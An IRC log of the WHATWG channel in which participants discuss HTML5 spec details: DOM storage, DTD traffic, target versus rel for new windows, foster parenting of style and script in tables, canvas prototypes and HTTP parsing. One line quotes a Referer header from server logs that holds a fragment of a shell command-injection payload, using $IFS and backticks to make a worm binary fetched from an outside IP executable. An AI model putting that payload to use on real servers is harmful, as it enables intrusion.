| 04:43 | <Hixie> | firefox is the only browser with any DOM storage support? |
| 04:44 | <othermaciej> | I think that's the case |
| 04:44 | <Hixie> | k |
| 04:45 | <Hixie> | just making sure i set the right flags on my checkin |
| 04:47 | <othermaciej> | are you updating the spec? |
| 04:47 | <othermaciej> | it's definitely something we're interested in for WebKit |
| 04:47 | <roc> | really? I thought SQL obsoleted it |
| 04:48 | <Hixie> | othermaciej: yep |
| 04:48 | <Hixie> | roc: people have (strongly) argued that there is room for a simple string key/value synchronous api and an asynchronous structured api |
| 04:49 | <othermaciej> | roc: mostly, but I think a simple API for basic key/value storage is still worthwhile |
| 04:49 | <roc> | ok |
| 08:52 | <hsivonen> | http://www.w3.org/blog/systeam/2008/02/08/w3c_s_excessive_dtd_traffic |
| 08:52 | <Hixie> | yet another reason not to put anything in the doctype... |
| 08:58 | <jruderman> | bonus points if you can find a real-world program that given <!DOCTYPE html> tries to request a DTD from "" |
| 08:58 | <Hixie> | i think the w3c should just make those DTD URIs return infinite streams of bytes |
| 08:58 | <Hixie> | or return constructed gzipped content that unzips to gigantic files |
| 08:58 | <jruderman> | i liked the idea on slashdot to delay the response |
| 09:00 | <Hixie> | or that |
| 09:39 | <annevk> | a great, people resolved the header naming problems :) |
| 09:44 | <annevk> | maybe I should wait some more and then the spec is suddenly done |
| 09:55 | <hsivonen> | the Slashdot comments on the DTD thing are sad as usual |
| 09:59 | <annevk> | someone pointed out in e-mail that HTML 5 is the fourth major revision of HTML and not the fifth |
| 10:00 | <jruderman> | why, because it's not a "revision" until version 2? |
| 10:00 | <annevk> | if you don't count XHTML 1.x it seems he's right, should we change abstract text here and there? |
| 10:00 | <annevk> | that's his reasoning, yes |
| 10:00 | <annevk> | arguably CSS 2.1 follows that reasoning |
| 10:00 | <jruderman> | how about saying it's "a major revision"? |
| 10:25 | <hsivonen> | it's interesting that these questions aren't in the Systeam list of questions: 1) Are DTDs a bad idea and should we get rid of them? and 2) Is using URIs as identifiers that aren't meant to be dereferenced a bad idea and should we stop using them that way? |
| 11:18 | <gsnedders> | annevk: I'd argue the IIIR draft was the first major |
| 11:39 | jgraham | thinks arguing about whether the first version of something counts as a revision is just as pointless as he arguments about whether the "new millennium" started in 2000 or 2001 |
| 11:39 | <jruderman> | hehe |
| 11:42 | <annevk> | to be clear, I'm just wondering how to reply to such a question |
| 11:42 | <annevk> | aesthetically "fifth" sounds better, but other than that I've no opinion on this |
| 11:43 | <gsnedders> | jgraham: 2001, kthxbai |
| 11:47 | <jruderman> | annevk: reword the thing so you're not forced to say that it's the "fourth" or "fifth" revision |
| 11:47 | <jruderman> | call it "a major revision" or "the fifth major version" |
| 11:53 | <annevk> | the latter would not be ok :) |
| 11:53 | <annevk> | I guess I'll just follow whatever Hixie does |
| 11:58 | <gsnedders> | <http://www.onenaught.com/posts/52/ie8-meta-switch-ie7>; — heh: "Ian Hixie" |
| 12:04 | <jruderman> | hah |
| 12:05 | <hsivonen> | gsnedders: that's actually pretty common |
| 12:05 | <gsnedders> | hsivonen: googling just mostly showed up his email address, so I can't really tell |
| 14:35 | Philip` | sees requests with Referer set to `62.101.193.244/lupii;chmod$IFS+x$IFS`echo$IFS\ and to XXXX:++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
| 14:36 | <annevk> | yeah, Referer is wrong quite often already... |
| 14:36 | <Philip`> | and one set to HTTP/1.1 (with a space at the start) |
| 14:37 | <Philip`> | Oh, and some spammy ones like >Link</a> >sterling silver jewelry</a><br><a href= <a href=\ |
| 14:38 | <Philip`> | I'm slightly surprised that so few are invalid, though |
| 14:43 | <hsivonen> | Hixie: regarding conference-speaking standardista buy-in and the top errors I identified in Alexa top 500: |
| 14:43 | <hsivonen> | Hixie: I ran the Happy Cog portfolio front pages through Validator.nu and the errors are pretty much the top errors from Alexa 500 |
| 14:43 | <hsivonen> | Hixie: http://hsivonen.iki.fi/test/moz/happycog-portfolio-results.txt |
| 14:44 | <hsivonen> | (The Happy Cog portfolio represents actual well-known standardista output here.) |
| 14:46 | <Philip`> | Presumably those sites were modified by their own developers after the initial design, so it seems hard to tell when the errors were introduced |
| 14:46 | <hsivonen> | Philip`: sure, that's likely, but Zeldman's company keeps them in their portfolio, so this should be as good as it gets in the real world |
| 14:48 | <annevk> | I don't agree with that |
| 14:49 | <hsivonen> | annevk: which part you don't agree with? |
| 14:49 | <annevk> | The state of the Web ten years ago wasn't what it is now. Change is certainly pssobile |
| 14:49 | <annevk> | possible, even |
| 14:50 | <annevk> | though some of those errors should not be errors, agreed, _blank |
| 14:50 | <hsivonen> | annevk: sure, change is possible. I'm just arguing that people shouldn't have to focus their effort on benign "errors" |
| 14:51 | <annevk> | seems that for Zeldman there's nothing else left :) |
| 14:54 | <hsivonen> | Moreover, over 50% of the portfolio is in the Almost Standards Mode instead of the Standards Mode |
| 14:54 | <hsivonen> | which demonstrates that even in the standardista circles, the status quo against which HTML5 should be measured is Transitional--not so much Strict |
| 14:59 | <webben> | Note that the use of transitional may reflect the inclusion of the TARGET attribute or ads. |
| 15:02 | <hsivonen> | webben: sure, but that makes target and ads part of the practical reality |
| 15:03 | <webben> | Perhaps. It depends on quite what that means. |
| 15:04 | <hsivonen> | ad boilerplate will come with <img border=0>, <iframe frameborder='0' width='...' height='...'> for the foreseeable future |
| 15:04 | <webben> | I'd say it reflects a desire to have some links open in new browsing contexts and a desire to include markup from external sources that you basically don't control. |
| 15:04 | <webben> | Both practices are problematic for reasons other than validation. |
| 15:06 | <hsivonen> | webben: yes, they are problematic, but they are also so common that seeking to make them non-conforming due to the problems would be ivory towerism |
| 15:06 | <webben> | (and both might have better solutions than target or using a document type that is "looser" in the future) |
| 15:06 | <Philip`> | <div dont-validate-since-its-not-my-content-and-i-cant-do-anything-about-it><img border=0 ...></div> |
| 15:07 | <webben> | Philip`: Exactly. |
| 15:08 | <hsivonen> | webben: when there are widely implemented interoperable solutions that pretty much work, seeking to introduce slightly better second systems is bad strategy |
| 15:08 | <webben> | TARGET has triggered a sort of arms race between designers and end-users. I've discussed previously in this context that user-agent behavior could be attached to REL attributes and this would cover the two common use-cases of target: opening external sites and help in new browser windows. |
| 15:09 | <webben> | In that context, target would mainly be a backwards compatibility measure. |
| 15:09 | <webben> | (and might be perfectly valid as such) |
| 15:09 | <webben> | I wouldn't say that invalid ad markup does "work", actually. |
| 15:09 | <annevk> | target could work the same as your rel proposal and in fact does already in UAs |
| 15:10 | <Philip`> | It would be nice if target=_blank let you set the width/height of the window, so you wouldn't have to use ugly JavaScript just for a link |
| 15:10 | <annevk> | hsivonen, transitional may be for layout purposes, dunno |
| 15:10 | <webben> | annevk: You can't configure a UA to do something different depending on what sort of link it is, AFAIK. |
| 15:10 | <webben> | I don't want to load external sites in a new context, but I might well want to load form help in one. |
| 15:10 | <hsivonen> | webben: bikeshedding the attribute name is the kind of second systemitis that has an unfavorable cost/benefit outlook |
| 15:11 | <webben> | I'm not sure what that means. |
| 15:11 | <annevk> | rel= doesn't work that way either |
| 15:11 | <annevk> | so i'm not sure if inventing something new is a good way to solve the problem |
| 15:12 | <webben> | annevk: It could do. |
| 15:12 | <annevk> | target= could too |
| 15:12 | <Philip`> | Calling it "bikeshedding" seems to be presupposing that it has an unfavourable cost/benefit outlook |
| 15:12 | <hsivonen> | http://en.wikipedia.org/wiki/Second-system_effect |
| 15:13 | <webben> | annevk: Well you could use target="help" and target="external", but then you're duplicating REL values and probably breaking target in the process. |
| 15:13 | <webben> | http://www.w3.org/TR/html401/types.html#type-links |
| 15:13 | <hsivonen> | target='_blank' is super-simple. a bunch of rel values and a full pref pane of checkboxes for them would be more complex |
| 15:13 | <annevk> | what hsivonen says |
| 15:14 | <webben> | I don't think you'd need that much user configuration, because in fact end-users generally don't want external links to open in new windows unless it would disrupt what they're doing to open in the main browsing context. |
| 15:15 | <hsivonen> | evidence shows that authors feel they need to open new windows |
| 15:15 | <hsivonen> | defaults must cater to the perceived needs of authors |
| 15:15 | <webben> | Yes, and will go way beyond what HTML provides in order to do so. |
| 15:15 | <hsivonen> | otherwise authors endeavor to defeat the defaults |
| 15:15 | <webben> | it's irrelevant if target is valid, since it's trivial for UAs to turn it off. |
| 15:16 | <webben> | so authors who really want to do so are forced into using script. |
| 15:16 | <hsivonen> | webben: that's the very reason why target should be valid and open new windows by default |
| 15:16 | <hsivonen> | webben: this way authors are lulled into the belief that they are in control but users can still easily opt for control |
| 15:17 | <webben> | Some stupid authors are. |
| 15:17 | <webben> | A lot of less stupid but equally user-hostile authors aren't. |
| 15:17 | <webben> | (Otherwise, there would be no arms race.) |
| 15:17 | <hsivonen> | by default, authors need to believe their links don't have focus rings, that they can open windows, etc. |
| 15:17 | <annevk> | there is no arms race |
| 15:18 | <annevk> | there's just an arms race with validators |
| 15:18 | <annevk> | the scripts that use rel=external actually insert target=_blank ! |
| 15:18 | <hsivonen> | that's so sad |
| 15:18 | <webben> | Would be better done clientside. |
| 15:18 | <webben> | (by the client) |
| 15:19 | <hsivonen> | (in the way that validators aren't clearly serving authors there) |
| 15:19 | <webben> | I'd say it's the clients that aren't serving authors by not attaching sensible behaviours to rel. |
| 15:20 | <annevk> | oh please, rel is hardly used |
| 15:20 | <webben> | chicken egg |
| 15:20 | <annevk> | and underdefined except for some values |
| 15:20 | <annevk> | also, target=_blank works |
| 15:20 | <annevk> | just fine |
| 15:20 | <webben> | It doesn't work for all the reasons we've just discussed. |
| 15:20 | <hsivonen> | rel=external isn't any better than target=_blank |
| 15:20 | <hsivonen> | they are like <em> and <i> |
| 15:21 | <webben> | If I have to block target to stop external links opening in new windows but this also breaks help in forms, that's not a good outcome. |
| 15:21 | <hsivonen> | except rel=extarnal has a worse compat story than <em> |
| 15:22 | <webben> | Clearly, being able to say why a resource needs a new context rather than just randomly declaring resources need a new context is a better solution; whether it's worth the backwards compatibility friction is obviously debatable. |
| 15:23 | <annevk> | your solution sounds too hard for authors and users together |
| 15:23 | <webben> | It doesn't seem "hard" for either. |
| 15:23 | <webben> | target certainly is hard for both |
| 15:23 | <webben> | doesn't achieve what either group wants |
| 15:23 | <annevk> | right... |
| 15:24 | <hsivonen> | webben: rel=help on forms would have an awful backwards compat story |
| 15:24 | <webben> | hsivonen: I didn't suggest using /only/ rel="help", at least initially. |
| 15:25 | <hsivonen> | webben: it seems to me that the really better solution is making forms usable enough that you don't need a new window worth of help |
| 15:25 | <hsivonen> | webben: then there's the legalese problem |
| 15:25 | <webben> | hsivonen: That seems much more unrealistic. |
| 15:26 | <webben> | (Not least because there is no process so simple that it can't be subject to explanation, rightly or wrongly.) |
| 15:26 | <hsivonen> | that designers want forms to pop up legal mumbo jumbo in a new window |
| 15:26 | <webben> | case in point: http://windowshelp.microsoft.com/Windows/en-US/help/2e680b8d-211e-41c5-a0bf-9ccc6d7e62a21033.mspx |
| 15:27 | <annevk> | webben, so your believe is that you can change the mindset of all authors to start using rel values where they currently use target=_blank (or equivalent) and that users of all clients can be taught by some clever piece of navigation configuration UI? |
| 15:27 | <webben> | hsivonen: This is trying to argue away from the use-cases of target. |
| 15:27 | <annevk> | i'm so not convinced |
| 15:27 | <hsivonen> | webben: the Leopard box proves the problem is solvable :-) |
| 15:27 | <webben> | hsivonen: It does? |
| 15:28 | <hsivonen> | webben: the Leopard box doesn't need an opening guide because it is better designed than the Vista box |
| 15:29 | <hsivonen> | Web Forms 2.0 already enables form help in title='' |
| 15:29 | <webben> | Or just not as thoroughly documented. |
| 15:29 | <Philip`> | Maybe it's designed with different goals, like not needing to be protected against people walking up to big wall of DVDs in a shop and stealing the disc and license key from the box without anyone noticing |
| 15:29 | <hsivonen> | chances are that if you need more help than that, the design of the form sucks |
| 15:30 | <webben> | TITLE is subject to all the well-rehearsed problems with TITLE. |
| 15:30 | <hsivonen> | yes, it is |
| 15:31 | <webben> | Plus I suspect that would be a lot less usable for end-users without special handling from UAs. |
| 15:31 | <webben> | And also, there's no way you could cram all the help required for a tax form field into TITLE. |
| 15:32 | <webben> | (Now tax forms are indeed too complicated, but redesigning the world's financial system seems rather out of bounds for HTML5. Government5 maybe ...) |
| 15:32 | Philip` | has used online application forms where it's very useful to have several paragraphs of explanatory text in popup windows, since for most fields most people will easily understand what to enter (so they don't need any explanation) but a few people will have more complex situations and will need more guidance before being able to answer |
| 15:33 | <webben> | So I don't see any real way out of progressive disclosure in forms. |
| 15:33 | <webben> | (Though there might be better ways of providing progressive disclosure, of course.) |
| 15:34 | <annevk> | Philip`, working on planet.html5.org, dreamhost takes quite a while to setup a subdomain though it seems :( |
| 15:40 | Philip` | thinks the <a ping> Referer header should be "http://www.w3.org/2008/html/ping"; |
| 15:41 | <Philip`> | since that won't be misinterpeted as a local referrer by any site (except w3.org), and everyone loves URIs that aren't meant to be dereferenced |
| 15:42 | <hsivonen> | heh |
| 15:48 | <webben> | annevk: I think it probably wouldn't require a typical user to configure anything. Let's say UAs start opening new windows when target and rel="help" are present. Then authors who want to trigger help in a new window in forms or pages with state have an incentive to add rel="help", since the end user is more likely to see the help in the new window. In other words, I don't expect authors to change their mindset particularly, but rather to continue to do "what |
| 15:49 | <hsivonen> | webben: your solution assumes that authors in general want to make it easier for users to turn off new windows of certain kinds |
| 15:50 | <webben> | hsivonen: Not at all. It assumes that authors in general want to make it more likely new windows will be opened. |
| 15:50 | <webben> | (rather than the form/state breaking or the browser throwing up some sort of notification to check the user wants to open the new window) |
| 15:53 | <Philip`> | The people with the strongest desire to open popup windows are those serving popup ads, so they'd probably be the first to use rel=help if it made popups less likely to be blocked |
| 15:53 | <webben> | (And for what it's worth, I don't think authors in /general/ are necessarily hostile to such user configuration, though some authors are I think they're a minority. Ignorance of the very possibility of user configuration is a bigger problem than hostility towards it; and hostility tends to be about pixel-perfection which isn't really a consideration here. |
| 15:54 | <webben> | Philip`: popup ads typically popup on a trigger other than a link being clicked. |
| 15:54 | <webben> | e.g. page load, mousing over the ad etc |
| 15:55 | <webben> | if you're going to trigger a window opening when a link is actually clicked, you might as well just send the user to the site you're advertising |
| 15:55 | <webben> | I think the "problem" here is more designers who stick all external links into a new window. |
| 15:56 | <Philip`> | Ah, so the places where rel=help would help are not places where window-opening is currently blocked? |
| 15:56 | <SadEagle> | well, currently link clicks would typically bypass popup blocking. |
| 15:56 | <webben> | popup blocking is a different issue that what happens when you click a link |
| 15:56 | <webben> | though some popup blockers do control target behavior as well i think |
| 15:57 | <webben> | *than what happens |
| 15:58 | <webben> | (well that's one half of the problem, the other half of the problem is user agents that can't open new windows) |
| 15:58 | <SadEagle> | handheld/mobile? |
| 16:00 | <hsivonen> | annevk: Google translator autodetects your presentation as English... |
| 16:00 | <webben> | kiosk, some text browsers, handhelds |
| 16:00 | <webben> | voice browser perhaps |
| 16:00 | <annevk> | hsivonen, lang= fails then :( |
| 16:00 | <hsivonen> | yay for metadata |
| 16:01 | <Dashiva> | Considering text-based IRC clients can support multiple channels, I'd expect text browsers can support multiple tabs too |
| 16:01 | <krijnh> | annevk: did you expect people to trip over the doctype thing yesterday? :) |
| 16:01 | <annevk> | hsivonen, and yay for quirky detection algorithms :p |
| 16:01 | <webben> | Some text browsers can. IIRC lynx can't. |
| 16:02 | <Dashiva> | But that's just a missing feature, not an inherent problem with text browsers |
| 16:02 | <SadEagle> | there are lots of things lynx can't do, though :-) |
| 16:02 | <zcorpan_> | annevk: what a ripoff ;) |
| 16:02 | <krijnh> | People were shocked to see their lovely xhtml doctype go away |
| 16:02 | <annevk> | zcorpan_, is that another word for "way better"? |
| 16:02 | <annevk> | :p |
| 16:02 | <webben> | SadEagle: Not many in HTML. |
| 16:03 | <zcorpan_> | annevk: perhaps :) |
| 16:03 | <zcorpan_> | annevk: did you get any interesting questions? |
| 16:04 | <annevk> | there were lots of questions throughout the presentation about details of how things work |
| 16:04 | <annevk> | <input type=file> support for multiple files came up again |
| 16:04 | <annevk> | people want that badly it seems |
| 16:04 | <zcorpan_> | interesting |
| 16:05 | <annevk> | question about server-sent events and a better version of HTTP because HTTP is not that fit for it currently |
| 16:05 | <annevk> | (max nr of connections, etc.) |
| 16:10 | <annevk> | krijnh, they didn't really trip, did they? |
| 16:10 | <hsivonen> | is the max # connections thing even useful anymore? is it there just because it has always been there? |
| 16:10 | <annevk> | it's useful for servers |
| 16:11 | <krijnh> | annevk: nah, not really |
| 16:11 | <annevk> | i believe, because it makes it harder to DOS them |
| 16:11 | <hsivonen> | annevk: it seems to me it is the author side that wants to work around the limit, though |
| 16:12 | <annevk> | yeah, doesn't necessarily mean servers are ready i guess |
| 16:13 | <annevk> | but i don't know too much about it, i hope other people will solve it... |
| 16:13 | <annevk> | for server-sent events it's pretty easy to work around using access control and several subdomains... |
| 16:15 | <webben> | Dashiva: Maybe it's a missing feature, yes. Not entirely sure whether the Lynx devs would regard it as such or not. |
| 16:18 | <jwalden> | "I love the irony of the fact that we just renamed _global_ storage to _local_ storage without changing anything of the semantics..." |
| 16:18 | <Philip`> | If you want multiple Lynx windows, just run them inside screen |
| 16:18 | webben | can't find any discussion of it on the lynx-dev windows. |
| 16:19 | <webben> | *lynx-dev mailing list |
| 16:20 | <webben> | except this discussion of JS where a user discusses preventing new windows opened by JS: http://lists.gnu.org/archive/html/lynx-dev/2002-03/msg00028.html |
| 16:20 | <webben> | (in iCab) |
| 16:22 | <Dashiva> | Well, as long as they don't try to force their one-window approach on the rest of the web, they're free to do whatever they want :) |
| 16:26 | <annevk> | http://planet.html5.org/ |
| 16:27 | <Philip`> | annevk: Thanks :-) |
| 16:27 | <Philip`> | (Doesn't actually work since my DNS has updated yet, though...) |
| 16:27 | <Philip`> | s/has/hasn't/ |
| 16:30 | Philip` | still wonders if he's missing some point for http://krijnhoetmer.nl/irc-logs/whatwg/20080208#l-522 |
| 16:33 | <annevk> | i'm not sure why html5lib does that, but it does seem the most useful solution given <style scoped> |
| 16:34 | <zcorpan_> | ie and opera keep the style in table. mozilla moves it outside. webkit moves it to head. |
| 16:36 | <krijnh> | annevk: heb je msn in de buurt? |
| 16:36 | <annevk> | pidgin |
| 16:36 | zcorpan_ | also notes that <table><style scoped> could be useful for column alignment when someone invents a working css solution for that |
| 16:37 | <Philip`> | <table><script> has the same issue in html5lib/validator.nu |
| 16:38 | <zcorpan_> | i think scripts need to work in tables given document.write and roundtripping |
| 16:39 | <Philip`> | but I can't find any other elements that do that |
| 16:39 | <annevk> | i'd expect <title> once we remove the crazy behavior HTML5 specifies for it now |
| 16:39 | <Philip`> | and unless I'm being stupid, style and script fall into the "in table -> anything else" case and should get foster-parented instead of being added to the current (table) node |
| 16:40 | <annevk> | you're right |
| 16:40 | <zcorpan_> | who's gonna send email? |
| 16:40 | <annevk> | i think the way validator.nu and html5lib implement <style> and <script> gives you this behavior instead of what HTML5 defines |
| 16:41 | zcorpan_ | sends email |
| 16:41 | <annevk> | zcorpan_, seems you're volunteering |
| 16:41 | <annevk> | right |
| 16:41 | <annevk> | :p |
| 16:41 | <Philip`> | Why don't they do <textarea> the same as <style>/etc? |
| 16:41 | <annevk> | <style>/<script> are handled together inhead or so |
| 16:42 | <annevk> | now you're making me check :( |
| 16:42 | <Philip`> | Oh, they get handled by jumping through the "in head" state... |
| 16:43 | <annevk> | yeah |
| 16:43 | <annevk> | and we're using this appendToHead method that does things wrongly in face of <table> |
| 16:44 | <annevk> | (or maybe not) |
| 16:45 | <annevk> | 'self.parser.parseError("two-heads-are-not-better-than-one")' :-) |
| 16:59 | <zcorpan_> | annevk: http://simon.html5.org/presentations/ now has some plain text link love |
| 17:07 | <annevk> | Philip`, you missed <base>, <link>, and <meta> |
| 17:09 | <annevk> | Firefox behavior for those is weird |
| 17:09 | <Philip`> | zcorpan_: I don't think your comment about <table><script>document.write(rows)</script></table> is right - regardless of where the script element is added to the DOM, document.write will add characters to the input stream just after the </script> and hence in the "in table" mode |
| 17:10 | <jwalden> | I fail at life |
| 17:10 | <jwalden> | somehow I always manage to forget to add +whatwg to my posts |
| 17:10 | <jwalden> | so I get "held for moderation" delays |
| 17:11 | <Philip`> | Those delays are infinite |
| 17:11 | <jwalden> | sigh |
| 17:11 | <jwalden> | so I get to spam the non-whatwg receivers with a second copy :-\ |
| 17:12 | <gsnedders> | jwalden: Resent-To! |
| 17:12 | <gsnedders> | jwalden: don't totally resend it :P |
| 17:12 | <jwalden> | yes, I send my resent to the moderation feature of the list |
| 17:14 | jwalden | doesn't see a way to do that in Thunderbird |
| 17:14 | jwalden | wonders just how many muas actually make doing that easy |
| 17:15 | <annevk> | it will take people a split-second to recognize dupes |
| 17:15 | jwalden | does things the easy way |
| 17:15 | <annevk> | don't worry about it |
| 17:34 | <zcorpan_> | hsivonen: in order to avoid angry users who don't read the about page, perhaps the "valid" message should say that the result might change over time? (i don't know if you've had angry users, perhaps you're being clear enough about it) |
| 17:35 | <zcorpan_> | (the message in the html5 interface is clear but in the generic interface less so) |
| 19:08 | <RockinRoel> | hello |
| 19:17 | <annevk> | hi |
| 19:19 | <RockinRoel> | I read something in the logs about CanvasRenderingContext2D.prototype not working in Safari |
| 19:22 | <annevk> | dunno about that |
| 19:24 | <DxSadEagle> | may be look at Philip`'s test reports? |
| 19:24 | RockinRoel | I find it sort of annoying that I can't do: |
| 19:25 | <RockinRoel> | CanvasRenderingContext2D.prototype.newFunction() = function() { etc� |
| 19:25 | <DxSadEagle> | get a context object, and access it's __proto__ |
| 19:26 | <RockinRoel> | does __proto__ work on Safari? |
| 19:26 | <RockinRoel> | I heard that it did on Firefox, but not Safari |
| 19:26 | <DxSadEagle> | it does. |
| 19:27 | <RockinRoel> | cool. is this a Safari bug actually? |
| 19:27 | <DxSadEagle> | It is a non-standard mozilla extension, but JSC supports it. I think Opera doesn't. |
| 19:27 | <DxSadEagle> | Depends on your definition of bug and your reading of not-yet-finished ECMA-bindings-for-DOM document. |
| 19:28 | <RockinRoel> | well, I thought that every javascript object needed to have a prototype |
| 19:28 | <RockinRoel> | by definition |
| 19:29 | <RockinRoel> | I'll check it out |
| 19:29 | <DxSadEagle> | What makes you think it should be visible in this way? |
| 19:29 | <RockinRoel> | I'm sorry, I don't understand that |
| 19:30 | <DxSadEagle> | CanvasRenderingContext2D isn't even a constructor, so the convention about constructor's .prototype pointing to the prototype of constructed objects doesn't even apply. |
| 19:33 | <RockinRoel> | yet every browser assumes that CanvasRenderingContext2D is an object, except Safari? |
| 19:34 | <DxSadEagle> | What does it being an object have to do with anything? And it's specified as an -interface-. |
| 19:35 | <RockinRoel> | yes, sorry, I haven't quite gotten the hang of "advanced" javascript yet |
| 19:36 | <DxSadEagle> | anyway, just try __proto__. I am not sure they didn't laze out and put stuff straight on the object, but this is all a side conversation. |
| 20:08 | <Philip`> | http://philip.html5.org/tests/canvas/suite/tests/results.html#2d.type.extend |
| 20:08 | <Philip`> | Safari fails because window.CanvasRenderingContext2D doesn't exist |
| 20:09 | <Philip`> | (which I'm considering a bug, though I don't know what spec justifies that) |
| 20:16 | <DxSadEagle> | Philip`: I think ECMA bindings-for-DOM will eventually justify that |
| 20:32 | <annevk> | http://weblogs.mozillazine.org/roc/archives/2008/02/the_best_of_int.html (people asking for a sane version of SVG) |
| 20:42 | <hsivonen> | hmm. why do html5lib and Validator.nu interoperate against the spec in the <table><style> case? did the spec change after the summer or something? |
| 20:45 | <hsivonen> | zcorpan: Given current user reactions, the "Highly Experimental" bit in the HTML5 facet may even suggest that the service is less ready for action than it actually is. |
| 20:46 | <hsivonen> | zcorpan: So far I haven't had users complain about schema changes. |
| 20:47 | <annevk> | hsivonen, I think we share an implementation detail |
| 20:47 | <hsivonen> | that's odd |
| 20:48 | <annevk> | where can you see the output of Validator.nu? |
| 20:48 | <hsivonen> | parsetree.validator.nu |
| 20:48 | <hsivonen> | http://parsetree.validator.nu/?doc=http://philip.html5.org/misc/style-in-table.html |
| 20:49 | <annevk> | I wanted to test <table><base> but this makes that harder |
| 20:50 | <hsivonen> | yeah, parsetree.v.nu UI sucks. it is a quick and dirty hack |
| 20:51 | <annevk> | actually, why does everyone suggest this is something weird in HTML5? |
| 20:51 | <annevk> | hmm |
| 20:52 | <hsivonen> | case IN_BODY: |
| 20:52 | <hsivonen> | } else if ("base" == name || "link" == name || "meta" == name |
| 20:52 | <hsivonen> | || "style" == name || "script" == name) { |
| 20:52 | <hsivonen> | // Fall through to IN_HEAD |
| 20:52 | <Philip`> | That sounds like what the spec says to do |
| 20:53 | <annevk> | the spec also suggests to append <style> and <script> etc. to the current node |
| 20:53 | <annevk> | which is <table> and not the foster parent afaict |
| 20:53 | <Philip`> | The in-table bit says that when you would normally append to the current node, you actually append to the foster parent instead |
| 20:54 | <hsivonen> | Philip`: except the foster parenting exception is only implemented IN_BODY, so stuff that falls through to IN_HEAD isn't affected |
| 20:54 | <Philip`> | so that should happen regardless of the route you take before trying to append to the current node |
| 20:54 | <Philip`> | hsivonen: Ah, okay |
| 20:55 | <hsivonen> | hmm. I did implement forster parenting for <base> |
| 20:55 | <hsivonen> | hmm. |
| 20:55 | <hsivonen> | I suppose I should change appendToCurrentNodeAndPushElement to appendToCurrentNodeAndPushElementMayFoster even IN_HEAD if the spec stays the way it is |
| 20:56 | <annevk> | the current spec shouldn't stay the way it is |
| 20:56 | <Philip`> | Why change in IN_HEAD rather than changing it globally? |
| 20:56 | <hsivonen> | (from my method naming you can probably tell that I'm using IDE autocomplete :-) |
| 20:56 | <Philip`> | It only takes one boolean variable test per call to work out whether the special case applies |
| 20:56 | <Philip`> | which shouldn't be at all expensive |
| 20:57 | <annevk> | oh well, thanks to Philip` we uncover some more spec bugs :) |
| 20:58 | <hsivonen> | Philip`: it's not a boolean on the runtime stack, so presumably one wouldn't want to poke the heap without reason |
| 20:59 | <hsivonen> | I don't remember if calling the MayFoster variants from outside IN_BODY has any ill effects beyond extra memory access, though |
| 20:59 | Philip` | really hopes you can't get the append-to-current-node-but-actually-append-to-foster-parent-instead thing inside the adoption agency algorithm |
| 21:04 | <hsivonen> | gotta love other people's source: the XML parser I use has and unhandled case when a CDATA section end aligns across a read buffer boundary |
| 21:05 | <hsivonen> | of course someone tried to validate a page where the ]]> fell across the read buffer boundary... |
| 21:11 | <Hixie> | annevk: html, html+, html2, html 3.2, html4, html5. it's the fifth major revision. |
| 21:12 | <annevk> | Y! rejected the MS bid |
| 21:12 | annevk | didn't know |
| 21:12 | <gsnedders> | In need of a shorter to-do list. |
| 21:12 | <hsivonen> | annevk: URL? |
| 21:12 | gsnedders | is in need of a shorter to-do list (that makes more sense). |
| 21:12 | <hsivonen> | and I just got around to writing a Flickr backup utility |
| 21:12 | <annevk> | found through news.google.com: http://afp.google.com/article/ALeqM5hm0kvkhjrjiA4hTdisbB5PYpTTlg |
| 21:13 | <hsivonen> | annevk: thanks |
| 21:13 | <annevk> | also: http://news.google.com/?ncl=1130039008 |
| 21:15 | <Philip`> | gsnedders: Put deadlines on all the tasks in your list, and then don't work on them, and once they've passed their deadlines and the world hasn't ended you can assume that they're obviously not really that important and you can just delete them from the list |
| 21:15 | <gsnedders> | Philip`: So no http-parsing spec or spec-gen clone, then |
| 21:17 | <Philip`> | Hmm, it's harder if the things on your list are things you actually want to do |
| 21:17 | <gsnedders> | Philip`: yeah, that's the issue for most |
| 21:17 | <gsnedders> | it's not really the length: the issue is that what I put on it and don't deal with straight away takes _ages_ to deal with, so even having c. 20 items on it is enough to last months. |
| 21:18 | <gsnedders> | Philip`: one of the things has sorted itself out by the emailing just bouncing, so I can't deal with it :P |
| 21:20 | <annevk> | oh, more good news, the writers strike might finally be over |
| 21:24 | gsnedders | almosts asks a question about XMLHttpRequest, then realises the answer is two lines above where he was reading |
| 21:31 | <gsnedders> | annevk: do current implementations return the correct ExceptionCode? |
| 21:32 | <annevk> | prolly not |
| 21:35 | gsnedders | wishes there was a better way that wasn't impl specific to test HTTP parsing |
| 21:37 | <Philip`> | Is the XHR HTTP parser always the same as the normal HTTP parser? |
| 21:37 | <gsnedders> | Philip`: in the case of IE, Fx, Saf/Mac (and I think win too), and Opera yes |
| 21:37 | <Philip`> | (and not e.g. something that gets handed a single string of headers from the network code, and splits it into key:value lines itself) |
| 21:38 | <Philip`> | Ah, okay, that sounds alright then |
| 21:39 | gsnedders | wonders how to test non-strict server-side parsers |
| 21:39 | <gsnedders> | strict request parsers on servers are easy to test: you just check you get 400 back :P |
| 21:40 | Philip` | likes how the multipage HTML5 spec is nearly XML, so you can just fix a few bits in the header and then use a standard XML parser |
| 21:41 | <annevk> | Philip`, the solution is to make an HTML5 parser that is faster than an XML parser |
| 21:41 | <gsnedders> | (FWIW: the current intention is to say: "This specification RECOMMENDS using a non-strict parser for parsing responses, and a strict parser for parsing request.") |
| 21:42 | <Philip`> | annevk: The problem is that I'm parsing the HTML5 spec in order to create an HTML5 parser - I wouldn't have to do this if there was an HTML5 parser already :-p |
| 21:42 | <Philip`> | (*if there was an HTML5 parser in Perl already) |
| 21:43 | <annevk> | dogfood :p |
| 21:44 | <Philip`> | Chicken/egg |
| 21:44 | <Philip`> | so it's more like fox food than dog food |
| 21:45 | <gsnedders> | Philip`: egg. |
| 21:45 | <annevk> | hmm, http://habrahabr.ru/blog/webstandards/28107.html |
| 21:48 | <DxSadEagle> | annevk: I could spot-translate stuff if you care, though the markup should be mostly self-explanatory |
| 21:49 | <annevk> | yeah, he translated my article, I'm mostly interested in the comments :) |
| 21:49 | <virtuelv_> | Google translate has become quite good at russian-english |
| 21:49 | <annevk> | if there are interesting comments that would be nice to know |
| 21:50 | annevk | tries |
| 21:50 | <DxSadEagle> | There is a bug report about input events lacking the last letter :-) |
| 21:50 | <virtuelv_> | http://www.google.com/translate?u=http%3A%2F%2Fhabrahabr.ru%2Fblog%2Fwebstandards%2F28107.html&langpair=ru%7Cen&hl=en&ie=UTF8 fwiw |
